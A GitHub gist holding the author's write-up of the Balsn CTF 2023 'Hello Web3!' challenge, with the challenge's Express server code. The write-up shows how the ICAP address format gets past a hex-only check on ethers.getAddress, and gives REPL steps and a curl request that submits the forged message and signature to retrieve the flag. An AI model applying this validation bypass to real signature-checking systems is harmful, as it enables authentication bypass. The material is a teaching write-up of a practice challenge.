Skip to content

Instantly share code, notes, and snippets.

@YSc21
Created October 11, 2023 15:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save YSc21/9be0bb2ce1ed3141e47def6643c19959 to your computer and use it in GitHub Desktop.
Save YSc21/9be0bb2ce1ed3141e47def6643c19959 to your computer and use it in GitHub Desktop.
Balsn CTF 2023.md

Balsn CTF 2023

Web3

Hello Web3!

http://web3.balsnctf.com:3000

Author: ysc

Category: Misc

Solved: 54 / 333

We should sign a message that ethers.getAddress(message) is equal to the signer address, but the message should not match /^0x[0-9a-fA-F]+$/. It means that we are unable to sign a valid Ethereum address (e.g. 0x13f2788fF2A12d3373BaF8085a9047e12e4a5C21).

But if you find the document of ethers.getAddress, you will find that we could use another valid address format - ICAP Address Format to bypass the check.

> const wallet = ethers.Wallet.createRandom()
> wallet.address
'0x13f2788fF2A12d3373BaF8085a9047e12e4a5C21'
> ethers.getIcapAddress(wallet.address)
'XE502BVQT21IVCDE0OITYNFBVFRGOPRB1NL'
> ethers.getAddress('XE502BVQT21IVCDE0OITYNFBVFRGOPRB1NL')  // the key point
'0x13f2788fF2A12d3373BaF8085a9047e12e4a5C21'

> message = ethers.getIcapAddress(wallet.address)
'XE502BVQT21IVCDE0OITYNFBVFRGOPRB1NL'
> signature = await wallet.signMessage(message)
'0x9aed56940a5ce709dd65a212d40f9a7aa063c40ca85277a13f6919b9f228307d5ed4da850ebe8352bc2480885f0f475797d3b7f2fbc323bc780d1be42c0ac8851b'

> ethers.verifyMessage(message, signature) === ethers.getAddress(message)
true

I think this is a less noticeable feature of ethers.getAddress, but you could find it just by checking the documentation. Share it with you :)

curl -v "http://web3.balsnctf.com:3000/exploit" -X POST --header "Content-Type: application/json" -d '{"message": "XE502BVQT21IVCDE0OITYNFBVFRGOPRB1NL", "signature": "0x9aed56940a5ce709dd65a212d40f9a7aa063c40ca85277a13f6919b9f228307d5ed4da850ebe8352bc2480885f0f475797d3b7f2fbc323bc780d1be42c0ac8851b"}'

Flag: BALSN{Inter_Exchange_Client_Address_Protocol}

const express = require("express");
const ethers = require("ethers");
const path = require("path");
const app = express();
app.use(express.urlencoded());
app.use(express.json());
app.get("/", function(_req, res) {
res.sendFile(path.join(__dirname + "/server.js"));
});
function isValidData(data) {
if (/^0x[0-9a-fA-F]+$/.test(data)) {
return true;
}
return false;
}
app.post("/exploit", async function(req, res) {
try {
const message = req.body.message;
const signature = req.body.signature;
if (!isValidData(signature) || isValidData(message)) {
res.send("wrong data");
return;
}
const signerAddr = ethers.verifyMessage(message, signature);
if (signerAddr === ethers.getAddress(message)) {
const FLAG = process.env.FLAG || "get flag but something wrong, please contact admin";
res.send(FLAG);
return;
}
} catch (e) {
console.error(e);
res.send("error");
return;
}
res.send("wrong");
return;
});
const port = process.env.PORT || 3000;
app.listen(port);
console.log(`Server listening on port ${port}`);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment